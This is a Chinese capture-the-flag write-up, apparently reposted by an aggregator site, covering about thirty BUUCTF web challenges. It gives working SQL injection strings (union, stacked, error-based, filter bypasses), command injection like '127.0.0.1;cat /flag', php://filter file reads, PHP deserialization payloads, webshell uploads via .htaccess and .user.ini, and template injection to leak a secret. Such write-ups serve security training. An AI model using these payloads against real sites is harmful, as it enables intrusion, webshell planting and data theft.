题解记录-BUUCTF|Web (持续更新中)

Posted TTjsm1

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了题解记录-BUUCTF|Web (持续更新中)相关的知识,希望对你有一定的参考价值。

BUUCTF-Web(持续更新)

[极客大挑战 2019]EasySQL


输入用户名admin,密码用一个万能密码如1’ or '1,即可获得flag

[HCTF 2018]WarmUp


查看页面源代码,发现source.php文件,打开


发现hint.php


打开试试,发现flag在ffffllllaaaagggg里


返回source.php
source


根据代码要求,输入source.php?file=hint.php?ffffllllaaaagggg

发现此时图片不见了,说明输入有效,但并没有flag
所以flag可能不在当前目录
尝试加入…/遍历目录
直到输入source.php?file=hint.php?../…/…/…/…/ffffllllaaaagggg时flag出现

[极客大挑战 2019]Havefun


查看源代码,发现


所以我们使cat=dog,得到flag

[ACTF2020 新生赛]Include

点tips进去看看

查看源代码发现没有东西,想办法查看flag.php文件
利用php://filter,输入/?file=php://filter/read=convert.base64-encode/resource=flag.php
得到flag.php经过base64编码后的内容

解码,得flag

[ACTF2020 新生赛]Exec

ping一下127.0.0.1看看


输入127.0.0.1;ls / ,利用;来输入cmd命令
发现flag文件,输入127.0.0.1;cat /flag 进行查看,得到flag

[强网杯 2019]随便注


输入1’回显错误,输入1’ or ‘1’=‘1回显正常,判断是字符型注入
猜测字段数,输入到1’ order by 3#时报错,则字段数为2


查询数据库名,输入1’ union select 1,2#,发现回显大量过滤


尝试堆叠注入,输入1’;show databases;#


成功回显,说明存在堆叠注入
查看表,输入1’;show tables;#

查看words,输入输入1’; show columns from words; #
注:使用的是(Esc下的键),用于数据库、表、索引、列和别名用的引用


发现字段id与data

查看1919810931114514,输入1’; show columns from 1919810931114514; #


发现flag,因为查看flag的回显会出现在words里,为了回显在flag所属的表,而发现alter、rename又没有被过滤,则试着进行表和字段的重命名
输入1’;rename table words to word;rename table 1919810931114514 to words;alter table words change flag id varchar(100);show columns from words;#

再输入1’ or '1=1,就能得到flag

[SUCTF 2019]EasySQL

发现是整数型后,无论输什么都是nonono,尝试堆叠注入
输入1;show databases;#
输入1;show tables;#
输入1;show columns from Flag;#
结果回显nonono,可能存在过滤
猜测查询语句为:select “.$post[‘query’].”||flag from Flag
则输入*,1 即select *,1||flag from Flag;
这样就得到了Flag的所有字段

[GXYCTF2019]Ping Ping Ping

输入/?ip=127.0.0.1成功回显
使用;作为分割符,输入/?ip=127.0.0.1;ls
看到flag.php,输入/?ip=127.0.0.1;cat flag.php,
猜测可能是空格被过滤了,这里使用<来绕过,输入/?ip=127.0.0.1;cat<flag.php
发现符号被过滤了,换个试试
显示flag被过滤,使用’'来绕过
好,又被过滤了,那我们看一下index.php
发现好多字符被过滤和一个变量a
构造payload:/?ip=127.0.0.1;a=g;cat$IFS 9 f l a 9fla 9flaa.php
查看源码,得到flag

[极客大挑战 2019]Secret File

查看源码,发现./Archive_room.php
点击查看,发现./action.php点击查看,发现“查阅结束”
在secret递交时抓包发现提示secr3t.php
查看secr3t.php,发现提示 flag放在了flag.php里
查看flag.php,源码也没有信息
利用php://filter,构造/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
将这段乱码进行base64解码,得到flag

[极客大挑战 2019]LoveSQL

使用万能密码,回显有误


这里说使用sqlmap是没有灵魂的
先判断字段数,发现字段数为3


使用联合查询,得到回显位置



查询数据库名
1’ union select 1,2,database()#


查询数据库表名
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’#

查询l0ve1ysq1表的字段名
1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’#


查询字段
1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
发现flag

[极客大挑战 2019]Knife

提示使用菜刀,不过这里我选择使用蚁剑


打开蚁剑连接


找到flag

[极客大挑战 2019]Http


查看源代码,发现Secret.php

访问页面

说明我们应该来自https://Sycsecret.buuoj.cn,抓包,修改Referer



要求使用Syclover浏览器,将User-Agent改成Syclover


要求只能进行本地访问,添加X-Forwarded-For:127.0.0.1
成功得到flag

[极客大挑战 2019]Upload


上传一句话木马试试


这里用bq抓包,修改文件格式image/jpeg和文件后缀phtml并在代码前加一个图片文件头GIF 89A进行欺骗
发现


修改一下木马文件


重新上传


用蚁剑连接/upload/1s.phtml,查看flag

[ACTF2020 新生赛]Upload

上传一个木马.php文件试试

修改文件后缀为.png,上传
抓包,在bp里修改为.phtml


上传成功


用蚁剑连接查看flag

[极客大挑战 2019]BabySQL


简单测试admin和1’后发现有注入漏洞


输入1’ order by 1#,发现存在or和by过滤


使用双写绕过1’ oorrder bbyy 1#,得到字段数为3


接下来爆字段位置,输入1’ union select 1,2,3#,发现过滤


双写绕过:1’ ununionion selselectect 1,2,3#

查数据库名:1’ ununionion selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata #


查表名:1’ ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=‘ctf’#

查字段名:1’ ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘Flag’#

查字段值:1’ ununionion selselectect 1,2,flag frfromom ctf.Flag#

得到flag

[极客大挑战 2019]PHP


使用dirsearch扫描网站目录,发现www.zip,打开


查看index.php,发现class.php和一个php反序列化函数unserialize()


查看class.php,发现flag

构造payload:/?select=O:4:%22Name%22:3:s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;,获得flag

[RoarCTF 2019]Easy Calc

查看源码,发现calc.php

查看calc.php,发现字符过滤


chr() 函数:从指定的 ASCII 值返回字符。 ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置0,而十六进制值被定义为带前置 0x。

file_get_contents() 函数:把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

scandir() 函数:返回指定目录中的文件和目录的数组。

构造payload:/calc.php? num=1;var_dump(scandir(chr(47)))
发现flag

构造payload:/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
得到flag

[ACTF2020 新生赛]BackupFile

用dirsearch扫描目录
发现index.php.bak

key必须是整数,且取整数之后值为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
php == 在进行比较的时候,会先将字符串类型转化成相同类型,再比较。如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行(从开头转数字)
即key=123
得到flag

[极客大挑战 2019]BuyFlag

查看源码

password不能是数字且要==404,所以password可以为404+任意字符,
用bp抓包,修改包使其满足:是cuit的学生,以post方式传参,正确password(404abc),100000000 Money(1e8)
得到flag

[护网杯 2018]easy_tornado

查看

将filehash去掉访问,发现

根据render,使用模板注入,构造payload:/error?msg=handler.settings
记忆:handler.settings存放cookie_secret

发现cookie_secret:e6b7327c-a131-4e93-92d2-a673ced3a087,
构造filehash:md5(cookie_secret+md5(filename)),而已知filename为/fllllllllllllag
进行MD5加密得:6b31d8e5baf98dd20b879a95d24428f5
构造payload:/file?filename=/fllllllllllllag&filehash=6b31d8e5baf98dd20b879a95d24428f5

[HCTF 2018]admin

使用admin,123成功登进得到flag
------------------------------------------------------------------------------------------------------------------------

进入change password发现一个网址

在该项目路由文件中发现strlower()函数,其中调用了nodeprep.prepare函数,nodeprep.prepare函数会将unicode字符ᴬ转换成A,A再调用一次nodeprep.prepare函数会把A转换成a,而strlower()自定义函数被调用了三次,分别是register、login、change,即注册、登陆、修改密码时都会被调用。
那么就可以使用字符ᴬdmin进行注册,然后修改一次密码,再重新登陆就能得到flag

[BJDCTF2020]Easy MD5

查看源代码,没有东西,输个1试试,没有回显
抓个包看看
发现提示Hint: select * from ‘admin’ where password=md5($pass,true)

即需要password=md5($pass,true)条件为真时,才会执行select * form admin
当参数为true是显示的是原始 16 字符二进制格式
构造or来绕过password,md5(ffifdyop,true)='or’6\\xc9]\\x99\\xe9!r,\\xf9\\xedb\\x1c
输入ffifdyop后,出现
查看源码

这里是弱类型,只要使得加密后的值开头都为0e则会视为相等
构造payload:/levels91.php?a=s878926199a&b=s155964671a

这里是===,用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立
post:param1[]=1&param2[]=2,得到flag

[ZJCTF 2019]NiZhuanSiWei


使用php伪协议,构造data://text/plain,welcome to the zjctf,为了绕过某些过滤,这里用到base64编码,构造payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=,还有一个参数file,使用php伪协议,构造file=php://filter/read=convert.base64-encode/resource=useless.php
得到
base64解码得:

又经过password反序列化,构造payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:s:4:“file”;s:8:“flag.php”;


查看源码,得到flag

[MRCTF2020]你传你🐎呢

上传木马文件失败,考虑使用.htaccess文件,来改变文件扩展名,先上传.htaccess,然后上传木马文件
抓包,修改Content-Type:image/png
上传成功,接着上传.png木马文件,同样修改文件类型
上传成功

用蚁剑连接

找到flag

[极客大挑战 2019]HardSQL

发现很多字符都被过滤,但是会有报错,这里决定使用报错注入

利用UPDATEXML (XML_document, XPath_string, new_value)函数
爆库名:?username=admin’or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
得到geek

爆表名:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(%27geek%27)),0x7e),1))%23&password=1
得到H4rDsq1


爆字段:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23&password=1
得到id,username,password

爆字段值:?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=1 与?username=admin’or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1得到的值进行拼接,得到flag


[SUCTF 2019]CheckIn

创建.user.ini文件构成PHP后门,使用GIF绕过文件类型检测


先上传.user.ini,意思是当前目录中的php文件会自动去包含1s.png中的文件内容,而文件包含有一个特点就是能无条件解析php代码。所以我们再上传一张图片马1s.png,就能利用已经存在的php文件去包含图片马进而解析
用蚁剑连接,得到flag

[MRCTF2020]Ez_bypass

查看源代码

观察代码(强弱类型)
1.这里的id与gg需要是数组,以此来满足要求
2.post传参,passwd不能为数字但要==1234567,即可以是1234567a
得到flag

以上是关于题解记录-BUUCTF|Web (持续更新中)的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF Web [极客大挑战 2019]EasySQL

BUUCTF Web [ACTF2020 新生赛]Exec

BUUCTF Web [ACTF2020 新生赛]Include

Leecode题解汇总(持续更新)

BugkuCTF WEB解题记录 16-20

BugkuCTF WEB解题记录 21-25